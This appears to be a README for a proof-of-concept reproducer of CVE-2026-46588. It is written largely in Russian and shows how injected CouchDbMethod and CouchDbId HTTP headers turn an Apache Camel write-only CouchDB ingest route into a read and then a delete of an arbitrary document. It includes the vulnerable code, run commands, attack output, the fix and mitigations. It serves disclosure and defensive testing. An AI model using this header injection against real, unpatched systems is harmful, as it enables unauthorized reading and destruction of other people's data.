
Reproducer for CVE-2026-46588: Apache Camel camel-couchdb CouchDb* header injection (operation confusion) subverting a write-only endpoint into read + delete of arbitrary documents (fixed in 4.14.8/4.18.3/4.21.0)
CouchDb* (CVE-2026-46588)Этот проект демонстрирует инъекцию заголовков сообщений в компоненте Apache Camel camel-couchdb, отслеживаемую как CVE-2026-46588. Компонент считывает несколько заголовков Exchange для управления своим поведением — CouchDbDatabase, CouchDbSeq, CouchDbId (идентификатор документа), CouchDbRev (ревизия документа) и CouchDbMethod (метод операции). Строковые значения этих констант заголовков (определённых в CouchDbConstants) используют префикс CouchDb вместо стандартного префикса Camel, который используется во всех остальных компонентах. Входящий HttpHeaderFilterStrategy Camel блокирует только имена заголовков, начинающиеся с Camel / camel, поэтому эти имена проходят через входящий фильтр без изменений. Когда маршрут предоставляет точку входа HTTP (например, platform-http) перед продюсером couchdb, ненадёжный HTTP-клиент может напрямую установить эти заголовки и переопределить операцию, задуманную автором маршрута.
Эта PoC демонстрирует влияние как путаницу операций: конечная точка только для записи ввода документов превращается в чтение, а затем удаление произвольного документа путём инъекции CouchDbMethod (и CouchDbId).
CouchDbMethod=GET + CouchDbId=<secret> → раскрытие (читает документ, который конечная точка никогда не раскрывает, и утекает его _rev).CouchDbMethod=DELETE (с утекшим _rev) → уничтожение (удаляет этот документ).Advisory: https://camel.apache.org/security/CVE-2026-46588.html
Та же семья инъекций заголовков, что и CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 и CVE-2026-47323. Исправление делит свой PR с сопутствующим уведомлением CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
Исправление (4.14.8 / 4.18.3 / 4.21.0) переименовывает значения заголовков в соответствии с соглашением Camel — CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq — чтобы они блокировались входящим HttpHeaderFilterStrategy, как и все остальные управляющие заголовки Camel. Имена полей констант Java остаются без изменений.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
Намерение автора маршрута — конечная точка только для записи — клиенты отправляют POST с документами для сохранения, ничего более. Как документированное усиление, маршрут удаляет пространство имён управляющих заголовков Camel на границе. Это не помогает: заголовок операции называется CouchDbMethod, а не CamelCouchDbMethod, поэтому он не удаляется ни removeHeaders("Camel*"), ни встроенным фильтром HTTP-заголовков — и продюсер переключает операцию на его основе.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / secret document id + marker
│ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent)
│ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers
└── resources/
└── application.properties
Примечание: в pom зафиксирована версия
gson.version=2.13.2(версия, поставляемая Camel). Spring Boot 3.2.0 в противном случае зафиксировал бы более старую gson 2.10.1, в которой отсутствуетcom.google.gson.internal.GsonTypes, что приводит кNoClassDefFoundErrorво время выполнения Cloudant SDK.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
Любой маршрут с продюсером couchdb, доступным из HTTP-потребителя. Инъецируемые заголовки: CouchDbMethod (переключение save → get / delete), CouchDbId (целевой документ для get) и тело _id / _rev для delete. Со стороны потребителя добавляются CouchDbDatabase и CouchDbSeq.
Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (уведомление PR #23228). После исправления управляющие заголовки получают префикс Camel (CamelCouchDbMethod, CamelCouchDbId, …) и фильтруются на HTTP-границе, как и все остальные управляющие заголовки.
До обновления удаляйте затронутые заголовки из ненадёжных входящих сообщений до того, как они достигнут продюсера, например, .removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"), .removeHeader("CouchDbSeq") и .removeHeader("CouchDbMethod") перед конечной точкой couchdb, или применяйте настраиваемый HeaderFilterStrategy, блокирующий эти имена.
Данный воспроизводитель предоставляется только для целей исследования безопасности и авторизованного тестирования для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.
| Свойство | Значение |
|---|
| Компонент | camel-couchdb |
| Затрагиваемый класс | org.apache.camel.component.couchdb.CouchDbProducer считывает CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId") и т.д. |
| CWE | CWE-20: Некорректная проверка ввода |
| Влияние | HTTP-клиент устанавливает заголовки CouchDb* → переопределение операции/документа → раскрытие, удаление, изменение |
| Предварительные условия | Маршрут предоставляет продюсер couchdb за HTTP-потребителем (напр., platform-http); неаутентифицирован, когда потребитель является |
| Затрагиваемые версии | С 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| Исправление | PR apache/camel#23228 (main), обратно перенесено через #23230 (4.18.x) / #23231 (4.14.x) |
| Автор | Yu Bao (PayPal) |